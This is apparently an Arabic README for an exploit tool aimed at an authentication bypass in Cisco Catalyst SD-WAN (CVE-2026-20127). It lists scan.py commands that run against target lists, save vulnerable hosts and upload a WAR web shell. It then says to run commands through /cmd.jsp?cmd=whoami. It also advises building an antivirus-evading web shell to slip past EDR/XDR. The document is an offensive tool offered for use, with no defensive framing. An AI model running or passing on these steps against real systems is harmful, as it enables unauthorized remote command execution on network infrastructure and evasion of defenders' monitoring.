CVE-2026-20127_EXP

استغلال ثغرة تجاوز المصادقة في Cisco Catalyst SD-WAN (CVE-2026-20127)

الاستخدام الأساسي

python scan.py -f targets.txt

عرض التفاصيل

python scan.py -f targets.txt -v

ضبط عدد الخيوط وحفظ النتائج

python scan.py -f targets.txt -t 10 -o vulnerable.txt

تحديد مسار ملف WAR

python scan.py -f targets.txt -w cmd.war

تحديد مسار ملف WAR وضبط الخيوط وحفظ النتائج

python scan.py -f targets.txt -w cmd.war t 10 -o vulnerable.txt

=======ملاحظات========

بعد نجاح استغلال الثغرة، قم بزيارة /cmd.gz/cmd.jsp?cmd=whoami وستظهر النتيجة على الصفحة

إذا كنت بحاجة إلى استبدالها بـ webshell، فقم بإنشاء حزمة WAR بنفسك (يُنصح باستخدام حصان خالٍ من برامج مكافحة الفيروسات، حيث أظهرت الاختبارات أن أنظمة Windows قد تحتوي على EDR أو XDR)